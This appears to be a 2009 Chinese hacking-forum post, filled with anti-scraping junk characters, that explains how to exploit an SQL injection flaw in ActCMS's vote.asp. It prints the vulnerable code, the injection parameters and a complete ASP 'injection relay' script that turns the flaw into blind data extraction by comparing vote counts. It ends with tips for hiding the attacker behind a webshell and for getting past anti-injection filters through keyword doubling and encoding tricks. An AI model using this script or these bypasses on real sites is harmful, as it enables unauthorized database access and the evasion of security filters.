注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
! ~& q" I- z+ U: S链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
4 p# O7 `: i: A' V& o. v+ R% G转载请注明以上
! a, p5 O- I& d' ~漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

) Y, s0 ?' N4 B+ n* q2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   
' D0 C, g2 Q" d0 V0 K+ u$ A
" `. Z0 T8 H! ]4 @$ o4    end if   

5    for i=1 to request("voted").count   
* x& d6 l+ S  W0 C1 @! ]& i
: Q" E  h. Z# z6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
# A. Y7 N; r! G% {6 T: F4 G
: t: `% F# Q* N4 x- X) e* R  f' H7    next   
  ]+ J4 a+ N+ ^) G
; r3 ~  K5 r, f) L( w' o% a& s8....   

! b" R) r4 d: m) G7 V$ M9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
& a; x( i6 @+ k, C1 L! a7 y: }, n( S0 }            失败票数不变
如图：
  D7 w+ F7 V7 Khttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
8 _1 t& n% T, x9 h1 f; l, I# w& _
! v, @1 i* f; Q" ^0 [7 |2009-12-27 13:20
; b* C% ^* W" `. a4 N6 G& P
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
+ O7 u7 C9 h8 N0 @
  q: h0 x3 ^6 @$ r+ Y' K  Z本帖隐藏的内容需要回复才可以浏览
+ F8 ^& p7 z$ n: ~3 W3 }我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) l6 L: b& J7 p! {4 @注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
  k: i1 H9 x$ x4 d/ \/ q
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")
" n4 P. _( e2 z$ O. X% F' v$ X
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

1 j' `- D# Q0 s( S; `9 @04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 @1 |/ ^& A5 ?- _
05JmStr=URLEncoding(JmStr)
1 K9 F0 x" e' R
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

! D6 u# m. O, z, h08testurl=testurl & "?" & JmStr
/ z0 P4 K8 R! J
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

! T; u: e' B1 X14  
  m8 M! M* b+ I: i1 ~- p
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

4 E& z1 I# j% g% g$ B16  
$ P( W/ N3 E# V8 F$ W+ y
& Q5 Y+ s# {" t& L3 {$ ^7 C17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""
  w& T7 R6 w) K4 B) T! [3 v, \
19  
" D1 P$ a4 f' i. q! d' |
20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

22else

23  response.write "succeed"
* \$ E+ n  P( Z
. z8 N7 t$ G/ o) s24end if  
  K$ k" h3 }; c: E7 p
; f0 Q  ~6 d0 o) u& |2 Y8 w, C25  
! y8 M" r& w0 Y5 U
26response.write "by 3x"

27  

28  

7 |/ }7 R( ?! H! i/ V29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
2 M9 k, W* t- V3 [2 o
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

) b. E- \  x6 [$ M0 k32With Http

33  
0 I3 X/ @8 ]9 ^
34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef

& f' |; b9 x- y' O- ~. v  o37.SetRequestHeader "Cookie",PostCok
( C! O7 T, q4 w; E, y6 D% J- z! z
1 C2 ]$ M, v* H1 i# L( d4 P38.Send ()
3 v" q# W# O- L3 V' W
39PostData = .ResponseBody

40End With
' j( b  R+ l# e# T& n6 V. i' d
) M* v! R9 |0 a$ z' D" a& q% i5 ^8 s41Set Http = Nothing

/ |2 A- u, S! s  |& T- d42PostData =bytes2BSTR(PostData)
1 _+ G8 O& A( O$ B# J$ x7 @- r
43End Function

44  

7 L' Q' O, j4 ^& O$ Y45  

) Q4 q# V: h  L- J6 d46Function bytes2BSTR(vIn)

47Dim strReturn

. }# o, K5 c$ l$ P2 }: ]8 a) c) u48Dim I, ThisCharCode, NextCharCode

9 K6 H' e6 I) ~1 W- U49strReturn = ""

' d% r6 v+ U; ]; A, q2 l4 H4 f* `50For I = 1 To LenB(vIn)

8 ?' e1 [( g6 Z) l4 h51ThisCharCode = AscB(MidB(vIn, I, 1))
" m2 E" C* p  `
$ W: Z+ H* f. A$ P2 C52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
. u% ~- }5 G  Q5 f7 q
54Else
6 |1 [6 q7 J, I7 N% s
5 c( b: _/ x, q# w6 e8 {8 M/ t. A55NextCharCode = AscB(MidB(vIn, I + 1, 1))
1 `' D+ u- G: E% S) a) T
' G6 J+ S  o1 P" |56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 q( n: Z- _1 ?# O' e
" [/ Z; |7 S, o& `/ q* V57I = I + 1

# N& T4 ]& w1 c58End If

59Next

60bytes2BSTR = strReturn

$ }' ~, U8 K& `% P61End Function
( x1 E9 D( u1 Q1 R( O2 o+ v, h
62  

63Function URLEncoding(vstrin)  

4 [/ |1 `7 c; M8 c# S! p) F: n64strReturn=""

  W6 G% n9 D* m! b5 H" G65Dim i
( ^2 n. w# V3 a% V1 ]1 l
0 u* i, p+ d  n) ^/ q66For i=1 To Len(vstrin)

: J( `3 n5 Y- q. J$ x67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

: P* Z+ d* B, Q" y8 Q" b69strReturn=strReturn & ThisChr

70Else

71InnerCode=Asc(ThisChr)
7 H" |3 w6 z, j9 }+ Y. K
8 ?2 G' ^3 e$ X72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
! p6 X: M0 R, I6 w
74End If

& \; t; [  l5 m# a4 d: j  B3 [0 g2 _, @75Hight1=(InnerCode And &HFF00) \&HFF

" S( e" ~9 ]6 t& I: z76Low1=InnerCode And &HFF

3 A& n: X  x" e+ [: y, K77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

; q, {' W: p  p' _& T- S. e78End if

79Next
  C5 R) G& A8 R! J. u5 Z
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ v( r) F1 s0 j& s$ L6 e3 p6 q
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
( Q1 k% ?5 [9 p
6 }* _# j. X/ f! i) J4 ~83URLEncoding=strReturn

% I- O- Q$ @% I( F$ I1 _, l" Z84End Function
/ v* S) G8 w+ D9 R* Z7 s+ [4 w
  ~; u. r9 F, x, h/ B85  

1 n( b3 h0 {) g86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
1 B3 z2 r- j1 ?& A# C
89  getSt=mid(body,startpot,endpot-startpot)

90end function
; {/ Z3 O7 P& R; F. x' D
91%>
+ s+ w" W1 b6 ?; [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
7 ]8 _# Y/ v6 g+ F: E投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
2 ]& K, c- A' ^; ~( o( i
! R1 K3 D% Z! _9 `2009-12-27 13:29
+ c5 P: {$ }" W1 B6 B2 t. [8 O投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
& m6 U% U7 m: S9 X& W/ e
) k8 |9 [* K7 j9 q$ x2009-12-27 13:29
7 S* r8 Z0 I7 Q2 k; P% o9 w1 K% N-------------------------------------------------------------------------------
8 t$ B( F& q% g( A8 b6 _( B再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
/ i) o) w5 y4 c$ U( h9 w所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

注入中转的一些其他应用
+ b3 b( W, M, |9 r& d! ]其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
6 s+ U$ F# k$ \9 L# g( z4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
. r( ^! O4 J& ]
' V# R9 M" c0 r# B6 o5 P